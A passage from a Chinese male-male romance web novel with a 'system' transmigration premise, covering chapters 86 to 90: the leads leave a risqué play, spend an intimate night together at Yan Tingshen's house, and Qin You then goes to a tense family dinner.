比起第一次看演出时的沙发,这一张还算宽敞,然而坐下后,两人之间的距离却近在咫尺。
没多久,灯光全灭,演出开始。
但剧情渐渐明了,他看了严庭深一眼,举拳遮在唇前,咳了一声。
严庭深也沉默着。
秦游问他:“你之前没看过这部剧?”
严庭深道:“没有。”
秦游没再看台上已经脱得清凉的两位演员,他拿起茶杯,喝过水,又拿起手机,搜索这部话剧的名字。
看完剧情简介,他又沉默片刻。
简单来说,这是一部关于女性由青涩蜕变为成熟的故事。
主人公被哄骗后陷入低谷,之后自我放纵,常常发展一夜情,期间遇到形形色色的人,最终帮她脱离现状。
今夜美妙绝伦只是相对隐晦的译名。
更准确的翻译,应该是女主角每次一夜情后,对情人说出的那句话,今晚太棒了。
严庭深也拿起了茶杯。
听着音效声中的一夜剧情,秦游看过严庭深,又咳一声,正要开口——
隔壁的包厢里,突然也传来和台上相似的动静。
秦游顿住。
严庭深喝水的动作也停下。
大厅里的情侣都还克制。
隐秘的包厢里,被这段露骨演出挑逗起的感情却都不受拘束。
没有音效声遮掩,一切肆无忌惮的情事,在昏暗的环境里无所遁形。
先是左边。
没多久,右侧包厢里也传来男女的小声调笑。
想必这就是工作人员提醒的本意。
秦游又看一眼台上。
论尺度,演出的剧情虽然直白,但演员当然不会做得太过,表演只停留在情感的爆发,重点部分其实都有遮挡。
不过呈现出的画面显得太火热,观感太强烈,会引起观众的……共鸣,也算正常。
“身材怎么样?”
听到耳边的问句,秦游才看向演员本身:“还——”
一句话只说了一个字,他的话音蓦然止住。
秦游转向身旁的严庭深,正色改口道:“没注意。”
严庭深沉沉看他。
秦游压着唇边笑意:“是你说喜欢同作者的作品。这个时间,只有这部在演出。”
从剧情简介看,这部剧的故事重点,是女主角从黑暗步入光明的过程,内核还很励志。
但为内核填充的骨肉太夺人眼球,观众们给出的评价也大多集中在表面,不太关注作者想表达的深层含义。
比如左侧包厢里的两位。
此刻两人正忘我,已经全然不顾演出,动静比舞台的音效更卖力。
右侧包厢的两位也正在表演后来者追上。
正前方更是视听盛宴——
立体式的补充演示,配合演员忘情倾泻的激烈欲望,狭窄的包厢里,暗流肆意涌动。
兀地。
代表女主角心声的配乐骤然响起。
秦游想了想,倾身靠近严庭深。
咫尺距离,严庭深第一时间察觉秦游的动作。
他缓缓按住扶手,感觉到秦游的呼吸在脸侧拂过,掌下力道更重。
“你……”
秦游到他耳边,声音一同响起:“我们走吧。”
话剧是看不成了。
听别人的墙角,他更没兴趣。
话落,似乎听到严庭深的声音,秦游又问一句:“你说什么?”
“……”严庭深眸光黑沉,看他良久。
第 87 章 “祝,天长地久,永不分……
配乐结束, 舞台上的剧情在转场。
包厢里重新安静下来,不需要靠近交流,秦游也拉开距离, 转向严庭深的脸。
严庭深收回视线:“没什么。”
表演到了另一位一夜情对象上场, 秦游从沙发上起身,没再久留。
严庭深看向身前的手,再向上看过秦游的神色, 才抬手握住,随之起身。
也许也在中场休息。
左侧包厢终于安静下来。
但等两人走到门前, 秦游正开门, 又听到语调轻快的谈笑, 接着是一声不重的“砰”响。
这次离得更近。
秦游已经拉开房门——
看到门外两位双颊绯红的男女, 脚步声停了。
小巧昏黄的暖灯下, 靠在门边墙上的情侣正忘情激吻。
严庭深看着两人, 再看神色毫无变化的秦游。
秦游没想到出门会看到这种情景, 随手把严庭深拉近, 揽在他腰间, 把人换到另一侧。
严庭深猝不及防, 却也没推拒, 无言半晌。
情侣这才听到响动。
他们懵愣地看了过来,像是想不通这个时候怎么会有人和他们一样离场,而且一起来看剧的还是两个男人。
女人先是低声惊呼, 立刻推开身上的恋人,随后才看清门内两人的身影。
看清走过的两张脸,她不由抬手捂住了嘴,只露出了目不暇接的眼睛,左右转动, 看个不停。
“你还看——”
秦游没去注意身后的动静,和严庭深离开剧院,他抬眼看了看空中飞舞的细雪。
离开暖气充足的室内,寒冷的气息迎面扑了上来。
不再昏暗狭窄的包厢,冰雪的凉意也正扑散暧昧缠绵的热度。
严庭深也转眼看向斜对面:“那里有片湖。”
“那还等什么。”
秦游扫过他没有松开的手,随手送进大衣口袋,“走吧。”
严庭深手臂微紧,被带了一步,才后知后觉,举步往前。
他看着被布料掩盖的口袋,清晰感觉到秦游干燥温暖的手掌,似乎完全把他包裹。
秦游看他一眼:“冷吗?”
严庭深走近一步:“不冷。”
年关已经过去,天气似乎也逐渐转暖。
今天的雪,更不像年前那样漫天纷飞,风声也被湖边的绿植遮挡。
“就在这吧。”
雪地湿滑,秦游没陪严庭深靠近结冰的湖面,“小心点。”
严庭深说:“嗯。”
夜色深了,湖边只剩零星几道影子,都在远处。
地上的浅薄一层积雪没有清扫,两人走过,留下两道并肩缓行的脚印。
走过长街,穿过长廊。
看到台阶上的凉亭,秦游挑眉:“坐一会?”
这里应该是特意建造的观景台,宽阔的凉亭被切割了几个区域,全部面向湖泊。
严庭深没有异议:“好。”
两人来到其中一个有遮挡的长椅。
秦游正要坐,严庭深拦住他,扫去椅面的积雪。
秦游笑说:“这么贴心?”
严庭深转眼看他:“你的病刚好,身体还很虚弱,不要大意。”
秦游无奈。
他两次生病,都是药物作用下,不得已采取必要手段低温解热,和身体无关。不过上一次的事不方便提,他只能默认这个说法。
雪扫干净,两人一起坐下。
秦游望向不远处的湖泊、树林、雪地。
看着这道风景,他在看过身旁的严庭深。
周围没有行人,四处寂静无声。
没有打扰,没有烦心事缠身——
秦游忽而笑了笑。
忽略他还没有脱离秦家。
忽略严庭深的身份是钧闵总裁。
忽略这些,看来他的运气还算不错,找到一个爱人,达成了之前的设想之一。
除此之外,任务也可以暂时抛诸脑后,重担少了一个,他也轻松不少。
很难得,有这样的空闲。
严庭深问他:“想到什么,这么高兴?”
秦游笑着看回风景:“我在想,上次和你一起看雪,还是在杉韵。”
严庭深也顺着秦游的视线看过去,眸光也在柔和。
没错。
上次看雪,还是在杉韵。
那一次,秦游还病着,短短看了一场雪,就匆匆离开。
在那个时候,他和秦游恐怕都不会想到,他们第二次一起看雪,会是现在的关系。
而这次,不会再有人来打扰。
灯光下。
万籁俱寂。
不知多久过去,秦游转眼看到严庭深发顶的残雪,抬手轻拂下去。
严庭深下意识也抬手,握住他的手腕,回神过来,又松手,转而把秦游肩头的薄雪拂落。
抬头时看到秦游含笑的眼,严庭深动作顿住。
呼吸间。
两道仿佛蒸腾的白雾交织飘散。
严庭深的手久久停在秦游肩上,心跳声中,习惯寒意的面上有暖流缓缓接近——
秦游的手滑向严庭深脑后,五指插进发间——
然而在他倾身之前,严庭深的手也落在他颈侧,薄唇轻启,拉近最后的距离,吻了过去。
秦游按在严庭深脑后的手轻轻扣紧。
静谧的夜色,含混轻微的水声也变得清晰。
直到一个不断加深的吻克制结束,秦游松手往下,拇指擦过严庭深下唇,借由上而下的路灯,看到他微红的耳垂。
严庭深避开他的视线,语气没有异常:“你看什么。”
秦游轻笑,捏了捏他的耳朵,没有拆穿,只道:“夜里越来越冷,我们该回去了。”
严庭深面色如常,闻言起身:“好。”
秦游也站起身。
这时司机也发来消息询问,他看了位置,和严庭深一起缓步回去。
来时裹在一起的手,回去的路上也还在同样的位置。
项海峰等在车前,远远看到连在一起的两道身影,等两人走近再看到这一幕,他眼皮微抽,非礼勿视,只在拉开车门时问:“秦总,回泽水湾还是?”
秦游道:“去苍苑。”
项海峰点头:“好的。”
秦游转向严庭深:“我先送你回去。”
严庭深却顿了顿。
听到秦游的话,他面色不改:“好。”
话落,他上车落座,拿手机发了几条消息出去。
秦游看到他的动作:“今天还有文件要处理?”
严庭深下意识反扣早已黑屏的手机,闻言抿唇,转向窗外:“不重要的事。”
秦游又记起什么:“你之前提过,前两天也有合同要签,还没办完?”
严庭深又顿了顿:“办完了。”
见他不详细谈,秦游也没再追问:“过年还在加班,要注意休息。”
严庭深才回眸看他:“嗯。”
汽车在两人话间启动,又在闲谈间停下。
秦游下车送严庭深进了院子,看到是一个脸生的佣人开门,他没太在意,一路把人送到楼上,才说:“那我——”
严庭深同时开了口:“你今晚——”
秦游看着他,笑道:“你先说。”
严庭深再说一遍:“你今晚,在这睡吧。”
他接着说,“时间不早了,你回程要半个小时。”
秦游抬腕看表,没有拒绝:“也好。”
他随手把衣服手套递给一旁的佣人,去隔壁房间洗了个澡,出来时,才看到熟悉的管家。
“秦先生。”管家行色匆匆,看到秦游,还是站在原地打了声招呼,“先生正在房间等您。”
秦游颔首,继续走向严庭深的卧室,进门时余光扫过管家的背影,对严庭深说:“他刚赶回来?既然放假了,何必再跑一趟。”
“不是。”
严庭深一时沉默,转而说,“话剧,你还想看吗?”
秦游看他一眼,顺势接口:“今夜美妙绝伦?还是免了。”
“换一部。”
严庭深说,“在家里看。”
秦游笑问:“准备好了?”
严庭深说:“嗯。”
看出秦游不再拒绝,他牵起秦游的手,转身走向影院,“菲尔德小镇,可以吗?”
秦游道:“剧情呢?”
严庭深言简意赅:“正常的剧情。”
秦游又笑了笑。
两人聊着,走进房间。
管家也带着佣人随后进来。
他把红酒打开放在桌上,对两人解释:“红酒驱寒助眠,请慢用。”
佣人接着放下酒杯和其余用品,调整过片源,和倒完酒的管家一起退了出去。
门随之合起。
秦游和严庭深坐在沙发上,打开话剧,灯光缓缓熄灭。
严庭深把酒杯递给他:“喝一点。驱寒。”
“驱寒?”
秦游抬手接过,含笑和他碰杯,“还是庆祝吧。”
庆祝。
严庭深看过秦游噙笑的薄唇,敛眸片刻,再抬眼,语气却没有丝毫随意。
他说:“祝,天长地久,永不分离。”
话落,同样举杯相碰。
“砰——”
秦游微顿。
他看着碰在一起的两只酒杯,唇边笑意缓缓又牵起。
“好。”
他重复严庭深的祝酒词,“天长地久,永不分离。”
话音再落下。
两人一同一饮而尽。
第 88 章 缠绵。
音响里传来配乐, 秦游放下酒杯,倚在靠背。
看到身侧的严庭深,他抬手揽在严庭深肩膀, 掌下微重, 又握了握严庭深肩颈。
严庭深顺势枕在秦游手臂。
微烫的掌心贴在颈侧,他也抬手,握住秦游的手背。他看了秦游一眼。
视频里的演出还在开场。
秦游的侧脸在舞台灯光中明灭, 早已见惯的轮廓,今天看来, 却又似乎大不相同。
表情不同。
眼神不同。
笑容, 也格外不同。
严庭深的目光细细描绘这张大不相同的轮廓, 久久移不开视线。
秦游不必去看, 也察觉身旁的目光, 他抬指蹭了蹭严庭深的的下颚, 笑说:“你不是想看剧吗?”
话落, 才转眼和严庭深对视, 果然对上那双眼睛, 他唇边笑意稍浓, “再不专心, 要错过开幕了。”
严庭深于是看向身前。
秦游也继续看过去。
比起在剧院里看的那场《今夜美妙绝伦》,这部《菲尔德小镇》的剧情的确很正常;没身处隔音效果奇差的的包厢,室外也没有一丝杂音传进来。
但这样难得不受任何打扰的环境, 话剧还没放过五分之一,秦游肩上一重。
他转脸,看到闭眼已经睡着的严庭深,眉间微动。
这么累?
秦游看着他,正要抽手换个舒服的姿势, 见他眼睑滚了滚,也没再动作,只把人再往怀里揽了揽,稍稍固定。
严庭深前额贴在他颈侧,睡得还沉。
秦游低头看他一眼,笑了笑,接着看剧。
直到中场。
配乐的曲调突然激昂,严庭深眉间蹙起,缓缓转醒。
睁眼看到秦游的喉结,他不由微顿。
“醒了?”
严庭深坐正,看向秦游:“我睡了很久?”
秦游道:“一个小时。”
严庭深抬手捏了捏鼻梁,倾身倒酒。
秦游随口问他:“昨晚加班?”
严庭深又是一顿。
他喝了杯里的酒,又倒了两杯,递给秦游:“嗯。睡得不多。”
秦游对他的工作狂程度早有体会,不疑有他:“再睡一会?”
严庭深听出他没有在意,拿酒杯的手微松:“不用。看完吧。”
秦游陪他喝了一杯,暂停话剧:“这个不急,有时间,随时可以看。现在你该睡了。”
灯光缓缓亮起。
秦游把酒杯放下,从沙发上起身。
严庭深也没再坚持,和秦游一起出门回到卧室。
秦游停在门口。
见状,严庭深脚下也停住。
秦游看过时间:“早点休息,晚——”
“晚安”两个字还没说完,唇上印下一个吻,一触即分。
秦游意外,看向严庭深。
严庭深没有退开。
他看着秦游的眼睛:“晚安。”
话落,他又垂眸看向秦游的嘴唇,再往前一分,落下第二个蜻蜓点过的轻吻,第三个——
原本浅尝辄止的触碰一再落下,晚安吻也不再纯粹,渐渐变得燥热。
秦游抬手按在严庭深腰侧。
下一秒,悬在唇前的下一个吻终于重重落了下来。
交换的呼吸也正渐渐粗沉。
气息中还有淡淡红酒的味道。
严庭深按在秦游肩膀,把人从门外推进门边,压在门框。
“砰——”
捧着衣服的管家浑身一抖,转身就走。
听到脚步声,秦游捏了捏严庭深后颈,正要起身,压在身前的重量却没有丝毫放松。
良久,一吻结束,严庭深沉沉看他:“专心点。”
秦游轻笑:“好,我专心——”
话音又没落尽。
严庭深吻在他唇边,吻过他侧脸,在他耳边低声道:“你说过,以我们的关系,我对你做什么都可以。”
秦游握在他颈后的手也缓缓收紧:“你不是正在做吗?”
闻言,严庭深道:“没错。”
话落,他又吻上秦游的唇,力道起初还克制着,然而酒意滚上心头,浓烈的温情在胸膛里搅动,难耐的欲望随之而来,克制下的迸发更汹涌澎湃。
“……”秦游及时按住严庭深的手,吻毕时抵在严庭深额头,嗓音低沉,“好了。你再亲下去,我今晚该回不去了。”
严庭深也凝眸看他:“那就不回去。”
秦游一顿,腰间忽而一松。
严庭深吻在他侧颈,反手关了房门。
门板隔断内外,秦游正看过去,腰间系带冷不丁彻底松散,前襟敞落。
亲吻继续纠缠。
两人不觉间撞过窄桌,倚过沙发,绊过矮几,来到床边。
微烫的手掌正滑过后背,抚过腰侧,擦着人鱼线往下游走——
秦游垂眼扫过,低声再提醒一次:“别闹。”
严庭深看他一眼。
外袍落地,单薄的家居裤无处遮掩。
但手还在往下——
秦游呼吸微重,抬手把人按进怀里,转身往前一步。
严庭深没有防备,随之退了一步,撞在床沿,坐了下去。
秦游再近一步,从他腿间逼近他身前。
严庭深无处借力,起身的动作也只能夹住秦游的双腿。
以为这是秦游委婉的抵触,他眼底黑沉,索性抬手揽在秦游肩颈,不打算就这么轻易放开:“秦游,现在后悔,已经迟了。”
秦游失笑,顺势微俯身,抬起他的下巴,吻在他微抿的唇上。
严庭深手臂收得更紧,自上而下压来的吻堪堪结束,他身体微僵,呼吸也稍稍急促。
秦游的唇贴在他耳边。
滚烫的呼吸在话间拂过滚烫的耳垂。
“后悔这两个字,我什么时候说过?”
严庭深眼底骤深,拉着人倒进床铺。
家居服窸窣落地。
湿热的吻激烈缠绵。
严庭深躺在床上,感觉到秦游的手抚过身后,指腹划过背脊,牵连起阵阵引人战栗的麻痒。
他的呼吸更重,在秦游颈侧胸膛留下一串吻痕,直到那只手再往下走,从背后探进深处——
严庭深浑身僵硬,蓦然回神。
人就在怀里。
秦游当即察觉他的异样,动作微顿,掌下转而落在严庭深腰间。
严庭深闭了闭眼,按住了他正收回的手。
秦游看着他的脸,默认的态度一览无余:“不要勉强。”
“你忘了。”
严庭深再开口,声音早已沙哑,他第三次告诉秦游,“我从不勉强。”
“我也从不勉强。”
秦游反手握住他的手,拉到唇边,在他的注视下,含笑一一轻吻过他绷紧的五根手指,“所以今天,点到为止。”
严庭深和秦游对视。
看出这双桃花眼底的深意,他面色不改,胸膛起伏微重。
秦游再把他的手轻轻拉下,低声道:“帮我。”
严庭深的手臂僵硬发酸,却没拒绝。
“……”
听到秦游如潮的气息在耳边加重,严庭深直觉被呼吸拂过的侧脸烧灼如火。
“秦游……”
秦游吻在他鬓边,单手在他脑后摩挲,空出的右手抚在他后背,察觉他的生硬,又吻过他眼睑:“算了。”
严庭深微怔:“什么?”
他往下扫了一眼,“算了?”
他的情绪难得全然堆在眼底,只是还没听到答案,腰间一紧,眼前一花——
秦游从背后托起他的腰身,重又俯下,看向他回眸的眼。
严庭深眉间还没蹙起痕迹,脊背难耐的麻痒随着粗粝的指腹滑向腿侧,他浑身肌肉绷得愈紧。
秦游吻他薄红的耳垂,扣紧他紧实有力的窄腰,在他耳边说了句什么。
沙哑低沉的三个字,耳鬓厮磨间,轻得只有两人能听见。
“……”
严庭深呼吸一乱,下意识攥住掌下的床单。
但秦游没给他太多反应的时间,话音落下,身后温热的身体已经动作。
他措手不及,抿直薄唇,又曲肘落在床面,目光却不再和秦游交汇,连床上交叠的影子,他余光看见,也倏地转眼避开。
不经意间,秦游的视线落在他背上流畅的肌肉线条,看得出极力压制,仍在随着短发轻晃。
发间不受主人掌控的薄红也早已蔓延扩散。
炽烈的温度沿着耳后染透脖颈,染向脊梁,铺满全身——
乱了节奏的呼吸却被主人狠狠压回喉间。
秦游在他耳边再说一句:“不要勉强。”
严庭深握住床单的手紧了又紧。
他看过近在眼前的影子,又闭了眼。
这一次,他一言未发。
第 89 章 轻薄的暖被翻卷如浪。……
翌日。
清晨。
秦游在生物钟下准时醒来。
只是还没睁眼, 他先感觉到手臂上的重量,和怀里陌生、却暖意灼人的体温。
“早。”
耳边传来熟悉的声音,也带着初醒的微哑低沉。
秦游唇边的笑意又轻轻牵起。
他看向怀里的人。
还是第一次, 他的人生有这样的体验。
和另一个人在同一张床上过夜, 又在第二天的枕边听到这句早安。
记得上次“同床共枕”,也是同样的人。
不同的是,这一次, 先醒的这个人没再回避。
秦游抬手拢回严庭深滑下的鬓发,笑说:“早。”
严庭深也正看他, 视线在他浅笑的眼底流连, 线条冷漠的脸上也有不同以往的柔和。
秦游看他早已清醒的双眼, 挑眉问他:“醒了很久?”
严庭深淡声说:“不久。”
【宿主, 主角撒谎, 他醒很久了。】
系统得意地说, 【而且一直偷看你, 我盯着他呢!】
秦游看向严庭深, 笑意微深, 却不点破:“怎么不叫醒我?”
严庭深微顿。
枕在同一束日光, 秦游的神色近在眼前, 无所遁形。
他也从没错过那双眼里的丝毫变化,闻言只扣在秦游下颚,吻了吻秦游的嘴唇, 作势转身下床。
“该起床了。”
秦游笑着把人拉回来:“急什么?”
严庭深没有防备,起身的动作还没过半,又跌坐回去,不得已找秦游借力坐正。
秦游任他摸索,正要伸手扶他, 那只手不巧滑了下去——
轻薄的暖被翻卷如浪,短暂的凌乱间,忽地齐齐停住。
严庭深的手僵在原地。
系统顿感不妙,大叫一声:【不要啊宿主——】
听不到的话音戛然而止。
严庭深沉沉看了秦游一眼,僵住的手已经动作,俯身吻在秦游喉结:“我帮你。”
秦游按在他腰后手微重,不多时,翻身把人换到身下。
薄被悄然再度起伏。
—
半小时后。
卧室门前。
管家第三次赶来,看到房门还是紧闭,只好转身离开。
雇主每天起床的时间雷打不动,连过年那天都是一样。
早上的日程表也是固定的,醒来后在书房办公二十分钟,吃完早饭后出门。
今天会有变化,他用脚趾头想也知道和秦先生有关。
毕竟隔壁那间为秦先生准备的客房,从昨晚就一直没被动过。对方现在正在哪个房间,不言而喻。
想到这,管家面露复杂。
自从搬出苍苑,雇主这段时间一次都没回来过。
幸好这里有专人打扫,损坏的东西也早就换新,才让他昨天突然收到消息的时候,不至于出差错。
另外……
管家为自己松了口气。
回到苍苑,又是和秦先生一起,两位肯定是和好如初了。
那最近这种伴君如伴虎的太监日子,他也终于可以结束了。
管家边想,便回到楼下转了一圈。
十分钟后再回楼上。
卧室的门终于开了。
他进门时,秦游正从卫生间出来。
“秦先生。”
秦游也对管家颔首示意,看到对方手里的玻璃瓶,视线只多留了两秒,对方已经出声解释。
“这是刚制好的干花。”管家上前一步,“您看。”
秦游已经看出这束干花的形状。
是上一次他来苍苑时,带来的黄玫瑰。
他看了一眼浴室的方向,问道:“他的意思?”
管家斩钉截铁地说:“是的。”
唯愿雇主和秦先生不要再闹矛盾。
离开苍苑再回来,这期间的那段日子,虽然以雇主的素养,不会对员工打骂羞辱,但精神压力实在太大,他再也不想过了。
所以他又追了一句。
“秦先生送的花,都制成了干花放在书房,除了梅花摆在桌上,其余的都在展架。”
严庭深从浴室出来就听到这句话,脚下一顿,不由看向秦游。
秦游正接过管家手里的花瓶。
比起鲜花,干花的香气在制作过程中消散大半,成品只留下浅薄的味道,论纯粹的观赏价值,其实并不算高。
他见过严庭深把鲜花放在床头。
但他的确没想到,鲜花也可以制作成干花,继续保留。
“先生。”
秦游抬眼,看到走近的严庭深,笑说:“喜欢花,怎么没告诉我?”
管家浑身僵直,低着头转身,看到雇主的鞋映入眼帘,他闷声告退,到门口才想起正事:“先生,早餐准备好了,现在要上菜吗?”
严庭深道:“嗯。”
见秦游把花瓶放在桌上,他抿唇,转而说,“去吃饭吧。”
秦游无奈。
看来恋人太成熟也不是好事,总是转移话题,试图引导谈话走向。是个坏习惯。
不过他也没再追问。
这些花是他亲手送给严庭深的礼物。
而让这些保质期不长的鲜花保存至今,无一不代表严庭深的用心,和对这些礼物的珍惜。
作为送出礼物的人。
这样的心意,大概是最好的反馈。
两人来到餐室。
秦游正落座,才听到严庭深突然开口。
“干花是我的提议,却不是我做的。”
秦游先坐下,才笑说:“那又怎么样,想法就是最宝贵的东西。”
严庭深转眼看他。
秦游又拉过严庭深的左手,露出他左腕的表盘:“比如这块表。”
严庭深沿他的视线也看下去。
“它是我送给你的。”
秦游挑眉问他,“在你心里,是我这个负责千挑万选、结账买单的人重要,还是它的制作商重要?”
严庭深看着他,眸光微动。
这种一目了然的答案,秦游没有去等。
他又稍稍倾身,和这双深邃沉黑的眼睛对视:“话说回来,我有个问题想问你。”
严庭深被他握住的手五指微紧,目光一错不错:“什么问题?”
“你想出这个提议的时候,有没有想过,”
秦游抿着笑意,压低嗓音:“你这么做,喜欢的是花,还是送花的人?”
他们的关系昨天才挑明。
但这些干花,全是昨天之前的作品。
闻言,严庭深蓦地收回视线。
他抽回手,作势去拿筷子。
【哎呀!】
系统这时也是捶胸顿足,【宿主你说得对啊,都怪主角,这么简单的道理,他硬是昨天才想通!他明明是早就觊觎宿主你的魅力,还一直假装不为所动!】
秦游看着严庭深的侧脸。
伪装自己的情感,这不是严庭深的性格。
当时的想法,更大的可能,应该是他自己也不够清楚。
【宿主,就冲这个,你也不能轻易让主角得逞!】
系统还在气愤,【就算是他的任务,他也不能老是占宿主的便宜啊,动不动就勾引你,害得我也动不动就被关进小黑屋!】
秦游道:【……行了。】
【不行啊宿主!】
系统扼腕,【你不要被主角迷惑啊!你看,你们性|交的频率越来越频繁了,昨天两次,今天早上又有一次,再这么下去——】
【……】
秦游道,【闭嘴。】
系统委屈地照办:【……】
秦游也正拿起筷子,严庭深却忽然回答了他的问题。
“那个时候,我没想过。”
严庭深垂眸,“但现在,我知道——”
说到这,他才转眼,看向秦游。
说起这些,他的语气掺不进随意,总是深思熟虑后的结果。
这句话,他希望秦游也知道。
“——自始至终,我想看的不是花,是送花的人。”
听到这个郑重其事的答案,秦游唇边的笑意也微敛。
他回望着严庭深,抬手覆在他搭在桌面、收握成拳的手背。
掌心的暖意肆无忌惮地贴近,刹那融进血管。
严庭深五指放松,反手和秦游交握。
那些错过的温度,想要弥补,他不会再放过任何机会。
秦游笑了笑:“现在你两者兼得了。”
严庭深颔首,淡声道:“没错。”
闻言,秦游笑意更浓,松手放开了他:“吃饭吧。”
严庭深说:“嗯。”
之后两人吃完饭,回影院重看一遍昨晚没能看完的话剧,时间已经将近中午。
见窗外还在飘雪,吃过午饭,秦游陪严庭深在小书房阳台看了会雪景。
可惜他普通的生活还没走过一整天。
四点,秦宅的电话打了过来。
管家在电话接通时就简短地说:“游少爷,老爷请您晚上六点钟到家里吃一顿饭。”
秦游看了看怀里的严庭深。
严庭深也转眼看他。
秦游于是拒绝:“没空。”
“这……”
管家说,“游少爷,今晚是老爷特意为您准备的家宴,请您务必参加。”
秦游道:“转告董事长,我病了,不方便出门。”
“您——”
电话突然换了人接听。
“秦游,你少胡说八道。”
秦恒钟沉声说,“我知道你跟谁在一起,我也不是要妨碍你们,我有正事找你。今晚你不来,明晚有没有空?”
秦游看向严庭深。
严庭深没有移开视线。
秦游只好先问:“董事长有什么事找我?”
“电话里怎么说得清楚?”
秦恒钟皱眉,可了解秦游的禀性,他没有拐弯抹角,“是关于康明的事。他的身世,我想,是时候告诉你了。”
康明?
秦游道:“他的身世,我不感兴趣。如果只是为了这件事——”
“总之,你必须来一趟。”
秦恒钟的语气也强硬起来,“你找一个有空的晚上,我去泽水湾,这总可以了吧?”
听出秦恒钟执意如此,秦游摘眼镜捏了捏鼻梁。
严庭深看着他动作,转眼看向窗外。
秦游问:“去吗?”
秦恒钟又皱眉。
这个问题问他?当然是——
转念想到秦游是在和谁说话,秦恒钟的脸色隐隐发黑,握紧了手机:“秦游,这点行程,你自己不能决定?”
严庭深也听到这句话,不由坐正,看了秦游一眼,握了握掌心的手。
“能决定。”
秦游垂眸扫过,笑说,“去。今晚就去。”
第 90 章 医生的嘱咐叫医嘱,男朋……
挂断电话, 秦游拉回腿上的毛毯,陪严庭深在阳台又坐了一会,才起身回房, 换了一身衣服。
出门时看到严庭深也换了一套外出的正装, 他微顿,才走到严庭深身前:“今天别去了。不方便。”
按照秦恒钟的说法,这一次是为解释康明身份的家宴。
既然是家宴, 那么不会只有他和秦恒钟两个人。
秦宅人多眼杂。
秦恒钟也许不会把他和严庭深的关系透露出去,难保其他人会为他们保密。
这件事被严家得知, 势必会对严庭深不利。
严庭深淡声说:“我送你过去。”
秦游又是一顿。
他抬腕看表:“从这过去, 来回要两个小时, 别麻烦了。你在家里休息吧, 我尽快回来。”
严庭深只道:“走吧。”
秦游无奈。
见严庭深穿戴整齐, 态度明确, 他也只好顺其自然:“那就走吧。”
出门上了车, 秦游又接到秦宅来电, 催问他有没有出发。
最后是秦恒钟的声音:“今天我还请了你小姑和小叔, 你不要迟到。”
秦游听出这是他委婉的提醒。
这场家宴, 的确有其他人在。
第二通电话也挂断, 秦游转向严庭深:“你也听到了。别多想。”
严庭深道:“我没多想。暂时不公开,我同意。”
秦游已经因为他险些遇害一次,这段关系被更多人知道, 对秦游有弊无利。
只为这一点,在彻底稳定局面之前,他也不打算公之于众。
话落,他握紧秦游的手,扫过身侧横在当中的扶手, 没再往前,接着说:“你也不要多想。”
秦游笑说:“放心。我知道。”
两人在车上聊着,汽车似乎很快到了秦宅门前。
秦游下了车,到另一侧时,看到车窗落了下来。
他走近过去,严庭深正看向他。
秦游道:“回去吧。”
严庭深看着他,薄唇轻启,停顿一秒,最后只说了四个字:“不要喝酒。”
秦游看他的眼神,轻笑一声,忽地伸手挑起他的下巴,俯身吻过他扬起的嘴唇。
严庭深下意识抬手按在他的衣领,随即又松开,握在他颈侧,还没握紧,身前的人已经抽身离开。
唯独捏在下巴的两指暖意还在原地,轻轻蹭过,才收了回去。
严庭深也收了手,落回膝上,缓缓收拢。
秦游站直起身,回应他的嘱咐:“知道了。”
严庭深正要开口,余光看到有车灯扫过,改口道:“进去吧。”
秦游含笑颔首:“嗯。”
看着车窗合起,他抬指在窗框上敲了敲,才转身离开。
严庭深坐在车里,目送他的背影消失在门后。
下一刻,汽车缓缓启动。
车后,第二辆车紧接着开到门前,停了下来。
秦艺先下车,绕过车尾走向门口,见秦桦还站在原地,不耐烦地问了一句:“等什么呢?”
秦桦望着先前那辆车离开的方向,直到汽车开进地库,他才皱眉收回视线。
刚才看秦游和车里人说话,模样很亲热,难道是他看错了?
停到车库,车里应该是没人的。
也是。
今天的家宴是老爷子亲自组局,秦游才闯了大祸,请罪还来不及,怎么可能带着情人过来挑衅。
“走不走?不走我走了。”
秦桦收回视线。
见秦艺一句话的功夫转身就走,他也没说什么。
祁向赫和祁海良先后入狱,他这个姐姐被老爷子数落几次,这段时间在外面倒还好,可每次回到和秦家有关的地方,都是脾气暴躁。他也习惯了。
“来了。”
秦桦走在秦艺身后,路上不经意地说,“老爷子组这场家宴的原因,有没有跟你提过?”
提起老爷子,秦艺感到头疼:“没有。”
秦桦又说:“难不成是为了秦游退婚的事?”
祁海良先不论,祁向赫却是板上钉钉,因为秦游才被送进去,秦艺对孩子再不重视,对秦游总会有点不满。
她常和一群太太玩在一起,这些人脉运用得当,未尝不能挽回一点圆微梦失去的消息渠道。
秦艺皱眉:“一个刘家而已,退就退了,又不是没有补偿,为了这个兴师动众,有必要吗。”
秦桦说:“你不记得,老爷子让秦游仓促订婚是为了什么?”
“秦游在国外长大,不知道玩了多少男人,现在只玩一个,也值得老爷子小题大做。”
秦艺对此更是不屑一顾,“结了婚就能收心,他这一套封建花样还要玩多久?”
“……”听到她的话,秦桦突然记起她也是被迫结婚,对秦游再多不满,在这个话题上也会同仇敌忾,转而说,“就是不知道这个男人的身份是什么,连老爷子都无可奈何。”
秦艺的耐心已经告罄:“管他什么身份,又不是跟我过日子。”
“……”秦桦看着她的背影,破天荒地想念起祁海良那个蠢货。
祁海良蠢是蠢,可为他办事很尽心,想对付什么人,挑拨个一两句也就上钩了。
秦艺整天除了吃喝就是玩乐,遇到事除了躲清闲就是顾左右而言他,简直没有一点像秦家人。
见秦艺对秦游的事没有丝毫兴趣,他也没再多费口舌,一起进了小宴会厅。
管家看到他们,询问秦恒钟:“老爷,人到齐了。”
秦恒钟从沙发上起身:“那就开饭吧。”
秦桦只好又转身走到餐桌前。
刚坐下,他终于意识到哪里不对。
看到老爷子左右下手的秦游和康明,他皱起了眉头。
今晚的家宴,不是因为秦游退婚违逆?
这个康明又是怎么回事?
老爷子竟然让上不得台面的私生子,和他们平起平坐?
而且康明今天回来,事前居然也没有给他透露风声?
秦桦看向康明,端起餐前酒,冷着脸一饮而尽。
当初要不是他把秦游赶出总经办,就凭康明自己,这辈子都爬不出老爷子的办公室!
现在站稳脚跟,就想把他这个恩人抛诸脑后,他该让康明知道,这实在不是聪明人的做法。
“先吃饭。”
听到秦恒钟的声音,秦桦低头敛起眼神,拿起了筷子。
直到饭过尾声。
秦艺把擦过嘴角的餐巾扔在桌上,目光瞥过康明,直言不讳:“爸,你大过年的把我们叫过来,不是为了让我们陪一个外人吃饭吧?”
这句带着火药味的话一出,桌前祁新维等一众小辈面面相觑,都低下了头。
康明垂着眼,没有和秦艺对视,也好像没听到她的话。
秦桦搁了筷。
